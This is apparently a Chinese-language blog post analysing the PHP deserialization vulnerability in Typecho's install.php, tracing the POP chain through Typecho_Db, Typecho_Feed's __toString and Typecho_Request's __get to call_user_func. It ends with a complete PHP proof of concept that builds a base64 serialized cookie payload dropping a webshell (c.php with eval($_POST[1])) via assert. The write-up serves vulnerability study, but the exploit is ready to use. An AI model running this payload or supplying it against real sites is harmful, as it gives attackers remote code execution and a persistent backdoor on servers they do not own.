漏洞出了很久了一直没时间分析,现在有空记录下分析流程,学习下php反序列化的知识。
0x01 php序列化与反序列化及魔术方法
php序列化与反序列化用到的主要有两个函数:unserialize()与serialize()。在unserialize()时会调用__wakeup()
,serialize()
时会调用__sleep()
函数。
达成反序列化漏洞的两个条件:
- unserialize函数的变量可控
- php文件中存在可利用的类,类中有魔术方法
0x02 分析过程
其他文章分析该漏洞已经很多了,这里直接说重点。
达成该漏洞需要满足两个条件:
1. 反序列化函数变量可控
2. POP链
对于第一点,在install.php文件的第230行已经达成,cookie中的__typecho_config
可控。
第二点的pop链如下:
在实例化Typecho_Db时,第120行存在字符串拼接,如果$adapterName是传入的一个类的话,会自动调用类的__toString()
魔术方法,于是需要寻找一个类的__toString()
。
全局搜索__toString()
方法,定位到Feed.php文件,在__toString()
方法中找到以下代码:
_item
为Typecho_Feed
的私有属性且为数组。于是就有,如果访问的_item为对象,没有sreenName或者url属性,调用该对象的魔术方法__get()
。
于是全局搜索,寻找到了Typecho_Request中的__get()方法。
call_user_func(): call_user_func
是PHP的内置函数,该函数允许用户调用直接写的函数并传入一定的参数
于是POP链就出来了。
0x03 POP链
unserialize()中的参数可控-> Typecho_Db实例化时字符串拼接导致调用__toString()
-> __toString()
方法中调用不存在的属性导致调用__get()
–> Typecho_Request中的__get()
方法调用call_user_func
导致执行任意代码
0x04 poc
<?php
class Typecho_Feed{
const RSS2 = "RSS 2.0";
private $_type;
private $_version;
private $_charset;
private $_lang;
private $_items = array();
public function __construct($version, $type = self::RSS2, $charset = 'UTF-8', $lang = 'en'){
$this->_version = $version;
$this->_type = $type;
$this->_charset = $charset;
$this->_lang = $lang;
}
public function addItem(array $item){
$this->_items[] = $item;
}
}
class Typecho_Request{
private $_params = array('screenName' => "file_put_contents('c.php', '<?php eval(\$_POST[1]);//123123?>')");
private $_filter = array('assert');
}
$p1 = new Typecho_Feed(1);
$p2 = new Typecho_Request();
$p1->addItem(array('author' => $p2));
$exp = array('adapter' => $p1, 'prefix' => 'test');
echo base64_encode(serialize($exp));
?>